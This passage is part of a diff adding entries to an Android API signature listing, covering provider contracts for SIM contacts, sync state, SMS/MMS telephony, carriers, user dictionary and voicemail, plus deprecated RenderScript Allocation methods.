+    field public static final String NAME_MAX_LENGTH = "name_max_length";
+    field public static final String PHONE_NUMBER_MAX_LENGTH = "phone_number_max_length";
+    field public static final String RECORD_COUNT = "record_count";
+    field public static final String SLOT_INDEX = "slot_index";
+    field public static final String SUBSCRIPTION_ID = "subscription_id";
+  }
+
+  public static final class SimPhonebookContract.SimRecords {
+    method @NonNull public static android.net.Uri getContentUri(int, int);
+    method @IntRange(from=0) @WorkerThread public static int getEncodedNameLength(@NonNull android.content.ContentResolver, @NonNull String);
+    method @NonNull public static android.net.Uri getItemUri(int, int, @IntRange(from=1) int);
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/sim-contact_v2";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/sim-contact_v2";
+    field public static final String ELEMENTARY_FILE_TYPE = "elementary_file_type";
+    field public static final int ERROR_NAME_UNSUPPORTED = -1; // 0xffffffff
+    field public static final String NAME = "name";
+    field public static final String PHONE_NUMBER = "phone_number";
+    field public static final String RECORD_NUMBER = "record_number";
+    field public static final String SUBSCRIPTION_ID = "subscription_id";
+  }
+
+  public class SyncStateContract {
+    ctor public SyncStateContract();
+  }
+
+  public static interface SyncStateContract.Columns extends android.provider.BaseColumns {
+    field public static final String ACCOUNT_NAME = "account_name";
+    field public static final String ACCOUNT_TYPE = "account_type";
+    field public static final String DATA = "data";
+  }
+
+  public static class SyncStateContract.Constants implements android.provider.SyncStateContract.Columns {
+    ctor public SyncStateContract.Constants();
+    field public static final String CONTENT_DIRECTORY = "syncstate";
+  }
+
+  public static final class SyncStateContract.Helpers {
+    ctor public SyncStateContract.Helpers();
+    method public static byte[] get(android.content.ContentProviderClient, android.net.Uri, android.accounts.Account) throws android.os.RemoteException;
+    method public static android.util.Pair<android.net.Uri,byte[]> getWithUri(android.content.ContentProviderClient, android.net.Uri, android.accounts.Account) throws android.os.RemoteException;
+    method public static android.net.Uri insert(android.content.ContentProviderClient, android.net.Uri, android.accounts.Account, byte[]) throws android.os.RemoteException;
+    method public static android.content.ContentProviderOperation newSetOperation(android.net.Uri, android.accounts.Account, byte[]);
+    method public static android.content.ContentProviderOperation newUpdateOperation(android.net.Uri, byte[]);
+    method public static void set(android.content.ContentProviderClient, android.net.Uri, android.accounts.Account, byte[]) throws android.os.RemoteException;
+    method public static void update(android.content.ContentProviderClient, android.net.Uri, byte[]) throws android.os.RemoteException;
+  }
+
+  public final class Telephony {
+  }
+
+  public static interface Telephony.BaseMmsColumns extends android.provider.BaseColumns {
+    field public static final String CONTENT_CLASS = "ct_cls";
+    field public static final String CONTENT_LOCATION = "ct_l";
+    field public static final String CONTENT_TYPE = "ct_t";
+    field public static final String CREATOR = "creator";
+    field public static final String DATE = "date";
+    field public static final String DATE_SENT = "date_sent";
+    field public static final String DELIVERY_REPORT = "d_rpt";
+    field public static final String DELIVERY_TIME = "d_tm";
+    field public static final String EXPIRY = "exp";
+    field public static final String LOCKED = "locked";
+    field public static final String MESSAGE_BOX = "msg_box";
+    field public static final int MESSAGE_BOX_ALL = 0; // 0x0
+    field public static final int MESSAGE_BOX_DRAFTS = 3; // 0x3
+    field public static final int MESSAGE_BOX_FAILED = 5; // 0x5
+    field public static final int MESSAGE_BOX_INBOX = 1; // 0x1
+    field public static final int MESSAGE_BOX_OUTBOX = 4; // 0x4
+    field public static final int MESSAGE_BOX_SENT = 2; // 0x2
+    field public static final String MESSAGE_CLASS = "m_cls";
+    field public static final String MESSAGE_ID = "m_id";
+    field public static final String MESSAGE_SIZE = "m_size";
+    field public static final String MESSAGE_TYPE = "m_type";
+    field public static final String MMS_VERSION = "v";
+    field public static final String PRIORITY = "pri";
+    field public static final String READ = "read";
+    field public static final String READ_REPORT = "rr";
+    field public static final String READ_STATUS = "read_status";
+    field public static final String REPORT_ALLOWED = "rpt_a";
+    field public static final String RESPONSE_STATUS = "resp_st";
+    field public static final String RESPONSE_TEXT = "resp_txt";
+    field public static final String RETRIEVE_STATUS = "retr_st";
+    field public static final String RETRIEVE_TEXT = "retr_txt";
+    field public static final String RETRIEVE_TEXT_CHARSET = "retr_txt_cs";
+    field public static final String SEEN = "seen";
+    field public static final String STATUS = "st";
+    field public static final String SUBJECT = "sub";
+    field public static final String SUBJECT_CHARSET = "sub_cs";
+    field public static final String SUBSCRIPTION_ID = "sub_id";
+    field public static final String TEXT_ONLY = "text_only";
+    field public static final String THREAD_ID = "thread_id";
+    field public static final String TRANSACTION_ID = "tr_id";
+  }
+
+  public static interface Telephony.CanonicalAddressesColumns extends android.provider.BaseColumns {
+    field public static final String ADDRESS = "address";
+  }
+
+  public static final class Telephony.CarrierId implements android.provider.BaseColumns {
+    method @NonNull public static android.net.Uri getSpecificCarrierIdUriForSubscriptionId(int);
+    method public static android.net.Uri getUriForSubscriptionId(int);
+    field public static final String CARRIER_ID = "carrier_id";
+    field public static final String CARRIER_NAME = "carrier_name";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String SPECIFIC_CARRIER_ID = "specific_carrier_id";
+    field public static final String SPECIFIC_CARRIER_ID_NAME = "specific_carrier_id_name";
+  }
+
+  public static final class Telephony.Carriers implements android.provider.BaseColumns {
+    field public static final String APN = "apn";
+    field public static final String AUTH_TYPE = "authtype";
+    field @Deprecated public static final String BEARER = "bearer";
+    field public static final String CARRIER_ENABLED = "carrier_enabled";
+    field public static final String CARRIER_ID = "carrier_id";
+    field @NonNull public static final android.net.Uri CONTENT_URI;
+    field public static final String CURRENT = "current";
+    field public static final String DEFAULT_SORT_ORDER = "name ASC";
+    field @Deprecated public static final String MCC = "mcc";
+    field public static final String MMSC = "mmsc";
+    field public static final String MMSPORT = "mmsport";
+    field public static final String MMSPROXY = "mmsproxy";
+    field @Deprecated public static final String MNC = "mnc";
+    field @Deprecated public static final String MVNO_MATCH_DATA = "mvno_match_data";
+    field @Deprecated public static final String MVNO_TYPE = "mvno_type";
+    field public static final String NAME = "name";
+    field public static final String NETWORK_TYPE_BITMASK = "network_type_bitmask";
+    field @Deprecated public static final String NUMERIC = "numeric";
+    field public static final String PASSWORD = "password";
+    field public static final String PORT = "port";
+    field public static final String PROTOCOL = "protocol";
+    field public static final String PROXY = "proxy";
+    field public static final String ROAMING_PROTOCOL = "roaming_protocol";
+    field public static final String SERVER = "server";
+    field @NonNull public static final android.net.Uri SIM_APN_URI;
+    field public static final String SUBSCRIPTION_ID = "sub_id";
+    field public static final String TYPE = "type";
+    field public static final String USER = "user";
+  }
+
+  public static final class Telephony.Mms implements android.provider.Telephony.BaseMmsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "date DESC";
+    field public static final android.net.Uri REPORT_REQUEST_URI;
+    field public static final android.net.Uri REPORT_STATUS_URI;
+  }
+
+  public static final class Telephony.Mms.Addr implements android.provider.BaseColumns {
+    method @NonNull public static android.net.Uri getAddrUriForMessage(@NonNull String);
+    field public static final String ADDRESS = "address";
+    field public static final String CHARSET = "charset";
+    field public static final String CONTACT_ID = "contact_id";
+    field public static final String MSG_ID = "msg_id";
+    field public static final String TYPE = "type";
+  }
+
+  public static final class Telephony.Mms.Draft implements android.provider.Telephony.BaseMmsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "date DESC";
+  }
+
+  public static final class Telephony.Mms.Inbox implements android.provider.Telephony.BaseMmsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "date DESC";
+  }
+
+  public static final class Telephony.Mms.Intents {
+    field public static final String CONTENT_CHANGED_ACTION = "android.intent.action.CONTENT_CHANGED";
+    field public static final String DELETED_CONTENTS = "deleted_contents";
+  }
+
+  public static final class Telephony.Mms.Outbox implements android.provider.Telephony.BaseMmsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "date DESC";
+  }
+
+  public static final class Telephony.Mms.Part implements android.provider.BaseColumns {
+    method @NonNull public static android.net.Uri getPartUriForMessage(@NonNull String);
+    field public static final String CHARSET = "chset";
+    field public static final String CONTENT_DISPOSITION = "cd";
+    field public static final String CONTENT_ID = "cid";
+    field public static final String CONTENT_LOCATION = "cl";
+    field public static final String CONTENT_TYPE = "ct";
+    field @NonNull public static final android.net.Uri CONTENT_URI;
+    field public static final String CT_START = "ctt_s";
+    field public static final String CT_TYPE = "ctt_t";
+    field public static final String FILENAME = "fn";
+    field public static final String MSG_ID = "mid";
+    field public static final String NAME = "name";
+    field public static final String SEQ = "seq";
+    field public static final String TEXT = "text";
+    field public static final String _DATA = "_data";
+  }
+
+  public static final class Telephony.Mms.Rate {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String SENT_TIME = "sent_time";
+  }
+
+  public static final class Telephony.Mms.Sent implements android.provider.Telephony.BaseMmsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "date DESC";
+  }
+
+  public static final class Telephony.MmsSms implements android.provider.BaseColumns {
+    field public static final android.net.Uri CONTENT_CONVERSATIONS_URI;
+    field public static final android.net.Uri CONTENT_DRAFT_URI;
+    field public static final android.net.Uri CONTENT_FILTER_BYPHONE_URI;
+    field public static final android.net.Uri CONTENT_LOCKED_URI;
+    field public static final android.net.Uri CONTENT_UNDELIVERED_URI;
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final int ERR_TYPE_GENERIC = 1; // 0x1
+    field public static final int ERR_TYPE_GENERIC_PERMANENT = 10; // 0xa
+    field public static final int ERR_TYPE_MMS_PROTO_PERMANENT = 12; // 0xc
+    field public static final int ERR_TYPE_MMS_PROTO_TRANSIENT = 3; // 0x3
+    field public static final int ERR_TYPE_SMS_PROTO_PERMANENT = 11; // 0xb
+    field public static final int ERR_TYPE_SMS_PROTO_TRANSIENT = 2; // 0x2
+    field public static final int ERR_TYPE_TRANSPORT_FAILURE = 4; // 0x4
+    field public static final int MMS_PROTO = 1; // 0x1
+    field public static final int NO_ERROR = 0; // 0x0
+    field public static final android.net.Uri SEARCH_URI;
+    field public static final int SMS_PROTO = 0; // 0x0
+    field public static final String TYPE_DISCRIMINATOR_COLUMN = "transport_type";
+  }
+
+  public static final class Telephony.MmsSms.PendingMessages implements android.provider.BaseColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DUE_TIME = "due_time";
+    field public static final String ERROR_CODE = "err_code";
+    field public static final String ERROR_TYPE = "err_type";
+    field public static final String LAST_TRY = "last_try";
+    field public static final String MSG_ID = "msg_id";
+    field public static final String MSG_TYPE = "msg_type";
+    field public static final String PROTO_TYPE = "proto_type";
+    field public static final String RETRY_INDEX = "retry_index";
+    field public static final String SUBSCRIPTION_ID = "pending_sub_id";
+  }
+
+  public static final class Telephony.ServiceStateTable {
+    method public static android.net.Uri getUriForSubscriptionId(int);
+    method public static android.net.Uri getUriForSubscriptionIdAndField(int, String);
+    field public static final String AUTHORITY = "service-state";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DATA_NETWORK_TYPE = "data_network_type";
+    field public static final String DATA_REG_STATE = "data_reg_state";
+    field public static final String DUPLEX_MODE = "duplex_mode";
+    field public static final String IS_MANUAL_NETWORK_SELECTION = "is_manual_network_selection";
+    field public static final String VOICE_OPERATOR_NUMERIC = "voice_operator_numeric";
+    field public static final String VOICE_REG_STATE = "voice_reg_state";
+  }
+
+  public static final class Telephony.Sms implements android.provider.BaseColumns android.provider.Telephony.TextBasedSmsColumns {
+    method public static String getDefaultSmsPackage(android.content.Context);
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "date DESC";
+  }
+
+  public static final class Telephony.Sms.Conversations implements android.provider.BaseColumns android.provider.Telephony.TextBasedSmsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "date DESC";
+    field public static final String MESSAGE_COUNT = "msg_count";
+    field public static final String SNIPPET = "snippet";
+  }
+
+  public static final class Telephony.Sms.Draft implements android.provider.BaseColumns android.provider.Telephony.TextBasedSmsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "date DESC";
+  }
+
+  public static final class Telephony.Sms.Inbox implements android.provider.BaseColumns android.provider.Telephony.TextBasedSmsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "date DESC";
+  }
+
+  public static final class Telephony.Sms.Intents {
+    method public static android.telephony.SmsMessage[] getMessagesFromIntent(android.content.Intent);
+    field public static final String ACTION_CHANGE_DEFAULT = "android.provider.Telephony.ACTION_CHANGE_DEFAULT";
+    field public static final String ACTION_DEFAULT_SMS_PACKAGE_CHANGED = "android.provider.action.DEFAULT_SMS_PACKAGE_CHANGED";
+    field public static final String ACTION_EXTERNAL_PROVIDER_CHANGE = "android.provider.action.EXTERNAL_PROVIDER_CHANGE";
+    field public static final String DATA_SMS_RECEIVED_ACTION = "android.intent.action.DATA_SMS_RECEIVED";
+    field public static final String EXTRA_IS_DEFAULT_SMS_APP = "android.provider.extra.IS_DEFAULT_SMS_APP";
+    field public static final String EXTRA_PACKAGE_NAME = "package";
+    field public static final int RESULT_SMS_DATABASE_ERROR = 10; // 0xa
+    field public static final int RESULT_SMS_DISPATCH_FAILURE = 6; // 0x6
+    field public static final int RESULT_SMS_DUPLICATED = 5; // 0x5
+    field public static final int RESULT_SMS_GENERIC_ERROR = 2; // 0x2
+    field public static final int RESULT_SMS_HANDLED = 1; // 0x1
+    field public static final int RESULT_SMS_INVALID_URI = 11; // 0xb
+    field public static final int RESULT_SMS_NULL_MESSAGE = 8; // 0x8
+    field public static final int RESULT_SMS_NULL_PDU = 7; // 0x7
+    field public static final int RESULT_SMS_OUT_OF_MEMORY = 3; // 0x3
+    field public static final int RESULT_SMS_RECEIVED_WHILE_ENCRYPTED = 9; // 0x9
+    field public static final int RESULT_SMS_UNSUPPORTED = 4; // 0x4
+    field @Deprecated public static final String SECRET_CODE_ACTION = "android.provider.Telephony.SECRET_CODE";
+    field public static final String SIM_FULL_ACTION = "android.provider.Telephony.SIM_FULL";
+    field public static final String SMS_CB_RECEIVED_ACTION = "android.provider.Telephony.SMS_CB_RECEIVED";
+    field public static final String SMS_DELIVER_ACTION = "android.provider.Telephony.SMS_DELIVER";
+    field public static final String SMS_RECEIVED_ACTION = "android.provider.Telephony.SMS_RECEIVED";
+    field public static final String SMS_REJECTED_ACTION = "android.provider.Telephony.SMS_REJECTED";
+    field public static final String SMS_SERVICE_CATEGORY_PROGRAM_DATA_RECEIVED_ACTION = "android.provider.Telephony.SMS_SERVICE_CATEGORY_PROGRAM_DATA_RECEIVED";
+    field public static final String WAP_PUSH_DELIVER_ACTION = "android.provider.Telephony.WAP_PUSH_DELIVER";
+    field public static final String WAP_PUSH_RECEIVED_ACTION = "android.provider.Telephony.WAP_PUSH_RECEIVED";
+  }
+
+  public static final class Telephony.Sms.Outbox implements android.provider.BaseColumns android.provider.Telephony.TextBasedSmsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "date DESC";
+  }
+
+  public static final class Telephony.Sms.Sent implements android.provider.BaseColumns android.provider.Telephony.TextBasedSmsColumns {
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "date DESC";
+  }
+
+  public static interface Telephony.TextBasedSmsColumns {
+    field public static final String ADDRESS = "address";
+    field public static final String BODY = "body";
+    field public static final String CREATOR = "creator";
+    field public static final String DATE = "date";
+    field public static final String DATE_SENT = "date_sent";
+    field public static final String ERROR_CODE = "error_code";
+    field public static final String LOCKED = "locked";
+    field public static final int MESSAGE_TYPE_ALL = 0; // 0x0
+    field public static final int MESSAGE_TYPE_DRAFT = 3; // 0x3
+    field public static final int MESSAGE_TYPE_FAILED = 5; // 0x5
+    field public static final int MESSAGE_TYPE_INBOX = 1; // 0x1
+    field public static final int MESSAGE_TYPE_OUTBOX = 4; // 0x4
+    field public static final int MESSAGE_TYPE_QUEUED = 6; // 0x6
+    field public static final int MESSAGE_TYPE_SENT = 2; // 0x2
+    field public static final String PERSON = "person";
+    field public static final String PROTOCOL = "protocol";
+    field public static final String READ = "read";
+    field public static final String REPLY_PATH_PRESENT = "reply_path_present";
+    field public static final String SEEN = "seen";
+    field public static final String SERVICE_CENTER = "service_center";
+    field public static final String STATUS = "status";
+    field public static final int STATUS_COMPLETE = 0; // 0x0
+    field public static final int STATUS_FAILED = 64; // 0x40
+    field public static final int STATUS_NONE = -1; // 0xffffffff
+    field public static final int STATUS_PENDING = 32; // 0x20
+    field public static final String SUBJECT = "subject";
+    field public static final String SUBSCRIPTION_ID = "sub_id";
+    field public static final String THREAD_ID = "thread_id";
+    field public static final String TYPE = "type";
+  }
+
+  public static final class Telephony.Threads implements android.provider.Telephony.ThreadsColumns {
+    method public static long getOrCreateThreadId(android.content.Context, String);
+    method public static long getOrCreateThreadId(android.content.Context, java.util.Set<java.lang.String>);
+    field public static final int BROADCAST_THREAD = 1; // 0x1
+    field public static final int COMMON_THREAD = 0; // 0x0
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final android.net.Uri OBSOLETE_THREADS_URI;
+  }
+
+  public static interface Telephony.ThreadsColumns extends android.provider.BaseColumns {
+    field public static final String ARCHIVED = "archived";
+    field public static final String DATE = "date";
+    field public static final String ERROR = "error";
+    field public static final String HAS_ATTACHMENT = "has_attachment";
+    field public static final String MESSAGE_COUNT = "message_count";
+    field public static final String READ = "read";
+    field public static final String RECIPIENT_IDS = "recipient_ids";
+    field public static final String SNIPPET = "snippet";
+    field public static final String SNIPPET_CHARSET = "snippet_cs";
+    field public static final String TYPE = "type";
+  }
+
+  public class UserDictionary {
+    ctor public UserDictionary();
+    field public static final String AUTHORITY = "user_dictionary";
+    field public static final android.net.Uri CONTENT_URI;
+  }
+
+  public static class UserDictionary.Words implements android.provider.BaseColumns {
+    ctor public UserDictionary.Words();
+    method @Deprecated public static void addWord(android.content.Context, String, int, int);
+    method public static void addWord(android.content.Context, String, int, String, java.util.Locale);
+    field public static final String APP_ID = "appid";
+    field public static final String CONTENT_ITEM_TYPE = "vnd.android.cursor.item/vnd.google.userword";
+    field public static final String CONTENT_TYPE = "vnd.android.cursor.dir/vnd.google.userword";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DEFAULT_SORT_ORDER = "frequency DESC";
+    field public static final String FREQUENCY = "frequency";
+    field public static final String LOCALE = "locale";
+    field @Deprecated public static final int LOCALE_TYPE_ALL = 0; // 0x0
+    field @Deprecated public static final int LOCALE_TYPE_CURRENT = 1; // 0x1
+    field public static final String SHORTCUT = "shortcut";
+    field public static final String WORD = "word";
+    field public static final String _ID = "_id";
+  }
+
+  public class VoicemailContract {
+    field public static final String ACTION_FETCH_VOICEMAIL = "android.intent.action.FETCH_VOICEMAIL";
+    field public static final String ACTION_NEW_VOICEMAIL = "android.intent.action.NEW_VOICEMAIL";
+    field public static final String ACTION_SYNC_VOICEMAIL = "android.provider.action.SYNC_VOICEMAIL";
+    field public static final String AUTHORITY = "com.android.voicemail";
+    field public static final String EXTRA_PHONE_ACCOUNT_HANDLE = "android.provider.extra.PHONE_ACCOUNT_HANDLE";
+    field public static final String EXTRA_SELF_CHANGE = "com.android.voicemail.extra.SELF_CHANGE";
+    field public static final String PARAM_KEY_SOURCE_PACKAGE = "source_package";
+  }
+
+  public static final class VoicemailContract.Status implements android.provider.BaseColumns {
+    method public static android.net.Uri buildSourceUri(String);
+    field public static final String CONFIGURATION_STATE = "configuration_state";
+    field public static final int CONFIGURATION_STATE_CAN_BE_CONFIGURED = 2; // 0x2
+    field public static final int CONFIGURATION_STATE_CONFIGURING = 3; // 0x3
+    field public static final int CONFIGURATION_STATE_DISABLED = 5; // 0x5
+    field public static final int CONFIGURATION_STATE_FAILED = 4; // 0x4
+    field public static final int CONFIGURATION_STATE_NOT_CONFIGURED = 1; // 0x1
+    field public static final int CONFIGURATION_STATE_OK = 0; // 0x0
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DATA_CHANNEL_STATE = "data_channel_state";
+    field public static final int DATA_CHANNEL_STATE_BAD_CONFIGURATION = 3; // 0x3
+    field public static final int DATA_CHANNEL_STATE_COMMUNICATION_ERROR = 4; // 0x4
+    field public static final int DATA_CHANNEL_STATE_NO_CONNECTION = 1; // 0x1
+    field public static final int DATA_CHANNEL_STATE_NO_CONNECTION_CELLULAR_REQUIRED = 2; // 0x2
+    field public static final int DATA_CHANNEL_STATE_OK = 0; // 0x0
+    field public static final int DATA_CHANNEL_STATE_SERVER_CONNECTION_ERROR = 6; // 0x6
+    field public static final int DATA_CHANNEL_STATE_SERVER_ERROR = 5; // 0x5
+    field public static final String DIR_TYPE = "vnd.android.cursor.dir/voicemail.source.status";
+    field public static final String ITEM_TYPE = "vnd.android.cursor.item/voicemail.source.status";
+    field public static final String NOTIFICATION_CHANNEL_STATE = "notification_channel_state";
+    field public static final int NOTIFICATION_CHANNEL_STATE_MESSAGE_WAITING = 2; // 0x2
+    field public static final int NOTIFICATION_CHANNEL_STATE_NO_CONNECTION = 1; // 0x1
+    field public static final int NOTIFICATION_CHANNEL_STATE_OK = 0; // 0x0
+    field public static final String PHONE_ACCOUNT_COMPONENT_NAME = "phone_account_component_name";
+    field public static final String PHONE_ACCOUNT_ID = "phone_account_id";
+    field public static final String QUOTA_OCCUPIED = "quota_occupied";
+    field public static final String QUOTA_TOTAL = "quota_total";
+    field public static final int QUOTA_UNAVAILABLE = -1; // 0xffffffff
+    field public static final String SETTINGS_URI = "settings_uri";
+    field public static final String SOURCE_PACKAGE = "source_package";
+    field public static final String SOURCE_TYPE = "source_type";
+    field public static final String VOICEMAIL_ACCESS_URI = "voicemail_access_uri";
+  }
+
+  public static final class VoicemailContract.Voicemails implements android.provider.BaseColumns android.provider.OpenableColumns {
+    method public static android.net.Uri buildSourceUri(String);
+    field public static final String ARCHIVED = "archived";
+    field public static final String BACKED_UP = "backed_up";
+    field public static final android.net.Uri CONTENT_URI;
+    field public static final String DATE = "date";
+    field public static final String DELETED = "deleted";
+    field public static final String DIRTY = "dirty";
+    field public static final int DIRTY_RETAIN = -1; // 0xffffffff
+    field public static final String DIR_TYPE = "vnd.android.cursor.dir/voicemails";
+    field public static final String DURATION = "duration";
+    field public static final String HAS_CONTENT = "has_content";
+    field public static final String IS_OMTP_VOICEMAIL = "is_omtp_voicemail";
+    field public static final String IS_READ = "is_read";
+    field public static final String ITEM_TYPE = "vnd.android.cursor.item/voicemail";
+    field public static final String LAST_MODIFIED = "last_modified";
+    field public static final String MIME_TYPE = "mime_type";
+    field public static final String NEW = "new";
+    field public static final String NUMBER = "number";
+    field public static final String PHONE_ACCOUNT_COMPONENT_NAME = "subscription_component_name";
+    field public static final String PHONE_ACCOUNT_ID = "subscription_id";
+    field public static final String RESTORED = "restored";
+    field public static final String SOURCE_DATA = "source_data";
+    field public static final String SOURCE_PACKAGE = "source_package";
+    field public static final String TRANSCRIPTION = "transcription";
+  }
+
+}
+
+package android.renderscript {
+
+  @Deprecated public class Allocation extends android.renderscript.BaseObj {
+    method @Deprecated public void copy1DRangeFrom(int, int, Object);
+    method @Deprecated public void copy1DRangeFrom(int, int, int[]);
+    method @Deprecated public void copy1DRangeFrom(int, int, short[]);
+    method @Deprecated public void copy1DRangeFrom(int, int, byte[]);
+    method @Deprecated public void copy1DRangeFrom(int, int, float[]);
+    method @Deprecated public void copy1DRangeFrom(int, int, android.renderscript.Allocation, int);
+    method @Deprecated public void copy1DRangeFromUnchecked(int, int, Object);
+    method @Deprecated public void copy1DRangeFromUnchecked(int, int, int[]);
+    method @Deprecated public void copy1DRangeFromUnchecked(int, int, short[]);
+    method @Deprecated public void copy1DRangeFromUnchecked(int, int, byte[]);
+    method @Deprecated public void copy1DRangeFromUnchecked(int, int, float[]);
+    method @Deprecated public void copy1DRangeTo(int, int, Object);
+    method @Deprecated public void copy1DRangeTo(int, int, int[]);
+    method @Deprecated public void copy1DRangeTo(int, int, short[]);
+    method @Deprecated public void copy1DRangeTo(int, int, byte[]);
+    method @Deprecated public void copy1DRangeTo(int, int, float[]);
+    method @Deprecated public void copy1DRangeToUnchecked(int, int, Object);
+    method @Deprecated public void copy1DRangeToUnchecked(int, int, int[]);
+    method @Deprecated public void copy1DRangeToUnchecked(int, int, short[]);
+    method @Deprecated public void copy1DRangeToUnchecked(int, int, byte[]);
+    method @Deprecated public void copy1DRangeToUnchecked(int, int, float[]);
+    method @Deprecated public void copy2DRangeFrom(int, int, int, int, Object);
+    method @Deprecated public void copy2DRangeFrom(int, int, int, int, byte[]);
+    method @Deprecated public void copy2DRangeFrom(int, int, int, int, short[]);
+    method @Deprecated public void copy2DRangeFrom(int, int, int, int, int[]);
+    method @Deprecated public void copy2DRangeFrom(int, int, int, int, float[]);
+    method @Deprecated public void copy2DRangeFrom(int, int, int, int, android.renderscript.Allocation, int, int);
+    method @Deprecated public void copy2DRangeFrom(int, int, android.graphics.Bitmap);
+    method @Deprecated public void copy2DRangeTo(int, int, int, int, Object);
+    method @Deprecated public void copy2DRangeTo(int, int, int, int, byte[]);
+    method @Deprecated public void copy2DRangeTo(int, int, int, int, short[]);
+    method @Deprecated public void copy2DRangeTo(int, int, int, int, int[]);
+    method @Deprecated public void copy2DRangeTo(int, int, int, int, float[]);
+    method @Deprecated public void copy3DRangeFrom(int, int, int, int, int, int, Object);
+    method @Deprecated public void copy3DRangeFrom(int, int, int, int, int, int, android.renderscript.Allocation, int, int, int);
+    method @Deprecated public void copy3DRangeTo(int, int, int, int, int, int, Object);
+    method @Deprecated public void copyFrom(android.renderscript.BaseObj[]);
+    method @Deprecated public void copyFrom(Object);
+    method @Deprecated public void copyFrom(int[]);
+    method @Deprecated public void copyFrom(short[]);
+    method @Deprecated public void copyFrom(byte[]);
+    method @Deprecated public void copyFrom(float[]);
+    method @Deprecated public void copyFrom(android.graphics.Bitmap);
+    method @Deprecated public void copyFrom(android.renderscript.Allocation);
+    method @Deprecated public void copyFromUnchecked(Object);
+    method @Deprecated public void copyFromUnchecked(int[]);
+    method @Deprecated public void copyFromUnchecked(short[]);
+    method @Deprecated public void copyFromUnchecked(byte[]);
+    method @Deprecated public void copyFromUnchecked(float[]);
+    method @Deprecated public void copyTo(android.graphics.Bitmap);
+    method @Deprecated public void copyTo(Object);
+    method @Deprecated public void copyTo(byte[]);
+    method @Deprecated public void copyTo(short[]);
+    method @Deprecated public void copyTo(int[]);
+    method @Deprecated public void copyTo(float[]);
+    method @Deprecated public static android.renderscript.Allocation[] createAllocations(android.renderscript.RenderScript, android.renderscript.Type, int, int);
+    method @Deprecated public static android.renderscript.Allocation createCubemapFromBitmap(android.renderscript.RenderScript, android.graphics.Bitmap, android.renderscript.Allocation.MipmapControl, int);
+    method @Deprecated public static android.renderscript.Allocation createCubemapFromBitmap(android.renderscript.RenderScript, android.graphics.Bitmap);
+    method @Deprecated public static android.renderscript.Allocation createCubemapFromCubeFaces(android.renderscript.RenderScript, android.graphics.Bitmap, android.graphics.Bitmap, android.graphics.Bitmap, android.graphics.Bitmap, android.graphics.Bitmap, android.graphics.Bitmap, android.renderscript.Allocation.MipmapControl, int);
+    method @Deprecated public static android.renderscript.Allocation createCubemapFromCubeFaces(android.renderscript.RenderScript, android.graphics.Bitmap, android.graphics.Bitmap, android.graphics.Bitmap, android.graphics.Bitmap, android.graphics.Bitmap, android.graphics.Bitmap);
+    method @Deprecated public static android.renderscript.Allocation createFromBitmap(android.renderscript.RenderScript, android.graphics.Bitmap, android.renderscript.Allocation.MipmapControl, int);
+    method @Deprecated public static android.renderscript.Allocation createFromBitmap(android.renderscript.RenderScript, android.graphics.Bitmap);
+    method @Deprecated public static android.renderscript.Allocation createFromBitmapResource(android.renderscript.RenderScript, android.content.res.Resources, int, android.renderscript.Allocation.MipmapControl, int);
+    method @Deprecated public static android.renderscript.Allocation createFromBitmapResource(android.renderscript.RenderScript, android.content.res.Resources, int);
+    method @Deprecated public static android.renderscript.Allocation createFromString(android.renderscript.RenderScript, String, int);
+    method @Deprecated public static android.renderscript.Allocation createSized(android.renderscript.RenderScript, android.renderscript.Element, int, int);
+    method @Deprecated public static android.renderscript.Allocation createSized(android.renderscript.RenderScript, android.renderscript.Element, int);
+    method @Deprecated public static android.renderscript.Allocation createTyped(android.renderscript.RenderScript, android.renderscript.Type, android.renderscript.Allocation.MipmapControl, int);
+    method @Deprecated public static android.renderscript.Allocation createTyped(android.renderscript.RenderScript, android.renderscript.Type, int);
+    method @Deprecated public static android.renderscript.Allocation createTyped(android.renderscript.RenderScript, android.renderscript.Type);
+    method @Deprecated public void generateMipmaps();
+    method @Deprecated public java.nio.ByteBuffer getByteBuffer();
+    method @Deprecated public int getBytesSize();
+    method @Deprecated public android.renderscript.Element getElement();
+    method @Deprecated public long getStride();
+    method @Deprecated public android.view.Surface getSurface();
+    method @Deprecated public long getTimeStamp();
+    method @Deprecated public android.renderscript.Type getType();
+    method @Deprecated public int getUsage();
+    method @Deprecated public void ioReceive();
+    method @Deprecated public void ioSend();
+    method @Deprecated public void resize(int);
+    method @Deprecated public void setAutoPadding(boolean);
+    method @Deprecated public void setFromFieldPacker(int, android.renderscript.FieldPacker);
+    method @Deprecated public void setFromFieldPacker(int, int, android.renderscript.FieldPacker);
+    method @Deprecated public void setFromFieldPacker(int, int, int, int, android.renderscript.FieldPacker);
+    method @Deprecated public void setOnBufferAvailableListener(android.renderscript.Allocation.OnBufferAvailableListener);
+    method @Deprecated public void setSurface(android.view.Surface);
+    method @Deprecated public void syncAll(int);
+    field @Deprecated public static final int USAGE_GRAPHICS_CONSTANTS = 8; // 0x8
